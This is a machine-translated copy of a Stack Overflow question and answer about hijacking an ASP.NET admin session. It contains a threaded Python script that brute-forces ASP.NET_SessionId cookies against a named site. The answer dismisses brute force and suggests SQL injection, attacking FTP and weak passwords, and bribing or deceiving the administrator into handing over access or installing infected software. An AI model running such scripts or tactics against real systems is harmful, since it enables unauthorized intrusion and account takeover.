我是这里的新手。 我正在为我的大学项目学习渗透测试,并希望在其中发展 future 。 我有一个由我的 friend 托管的网站(在双方同意的情况下),他向我发起挑战,要求我侵入该网站。 这是一个简单的asp.net网站,大概是2.0 它使用表单登录该网站。 据我了解,他正在生成 ASP.NET_SessionId 来存储身份验证。我尝试从该网站注销,但 cookie 并未过期。现在我想尝试使用相同的方法登录管理员帐户。我不知道他从哪里以管理员身份登录。 我写了这个暴力Python脚本来做同样的事情,有50个线程。如果我生成超过 50 个,那么 session 就会开始超时。
#!/usr/bin/python
import urllib2
import string
import itertools
import threading
threadLimiter = threading.BoundedSemaphore(50)
class checkPage(threading.Thread):
def __init__(self,sessionID):
threading.Thread.__init__(self)
self.sessionID=sessionID
def run(self):
threadLimiter.acquire()
try:
opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'ASP.NET_SessionId='+self.sessionID))
f = opener.open("http://mysite.webber.org/default.aspx")
page = f.read()
f.close()
#if logged in write to file
if 'Welcome' in page:
k = open("session.txt","a")
k.write(self.sessionID+'\n')
k.close()
finally:
threadLimiter.release()
count = 0
for state in itertools.product('abcdefghijklmnopqrstuvwxyz012345', repeat=24):
sessionID = ''.join(state)
try:
thread=checkPage(sessionID)
thread.start()
except:
print "thread cannot be started"
break
if count==50:
thread.join()
count = 0
count += 1
根据 ASP.net, session ID 由 CreateSessionId 函数生成,并提供包含 a-z 和 0-5 的 24 个字节的输出。
我打算窃取管理员 session ID,然后再次使用它登录页面并获得管理员访问权限。
这是正确的方法吗?
我认为这种蛮力可能会永远持续下去。减少暴力破解时间的最佳选择是什么
谢谢。
最佳答案
暴力破解很糟糕。
不,它真的很糟糕。
安全背后的整个想法不是将人们拒之门外,而是将人们拒之门外足够长的时间,以至于他们感到无聊,或者你发现他们闯入。 session cookie是服务器端生成的东西,然后提供给客户端,所以至少可以说,您暴力破解当时正在使用的这些 cookie 之一的可能性不大。
考虑替代方案可能是个好主意。
瞄准盒子本身
这是一个可行的替代方案,而不是将您的精力集中在网站上尝试查找那里的漏洞,它可能会节省您直接寻找不安全框的时间和精力。也许利用不安全的密码策略或攻击 FTP 等更不安全的服务会产生更好的结果
SQL
哦 SQL 我该从哪里开始呢。如今,世界上大多数地方似乎都在运行您,并且大多数网站仍然没有正确清理输入。在这种情况下,您可以在用户名框上进行 SQL 注入(inject),不需要任何艰苦的工作,您可以违反 SQL 服务器,或者只是获取数据库转储,甚至在弄清楚架构时将记录插入数据库。
社会工程
永远不要忽视安全的这一方面,人类是有价格的,您可以以适当的金额购买任何人。出于这个原因,你总是可以向他支付管理员访问权限,付钱给他将密码设置为你知道的东西,欺骗他直接透露他的密码。或者让他在盒子上安装受感染的软件。
还有很多其他可能的攻击媒介,这个列表可能会持续一段时间,因此我将使其简短明了。这些应该会给您一些想法,即在进行笔测试或审计时,对您的目标保持开放的态度是个好主意。只要记住黄金法则即可。
Keep things simple. Stupid.
关于python - asp.net 破解 sessionId 使用 python 脚本被暴力破解的可能性,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/19678115/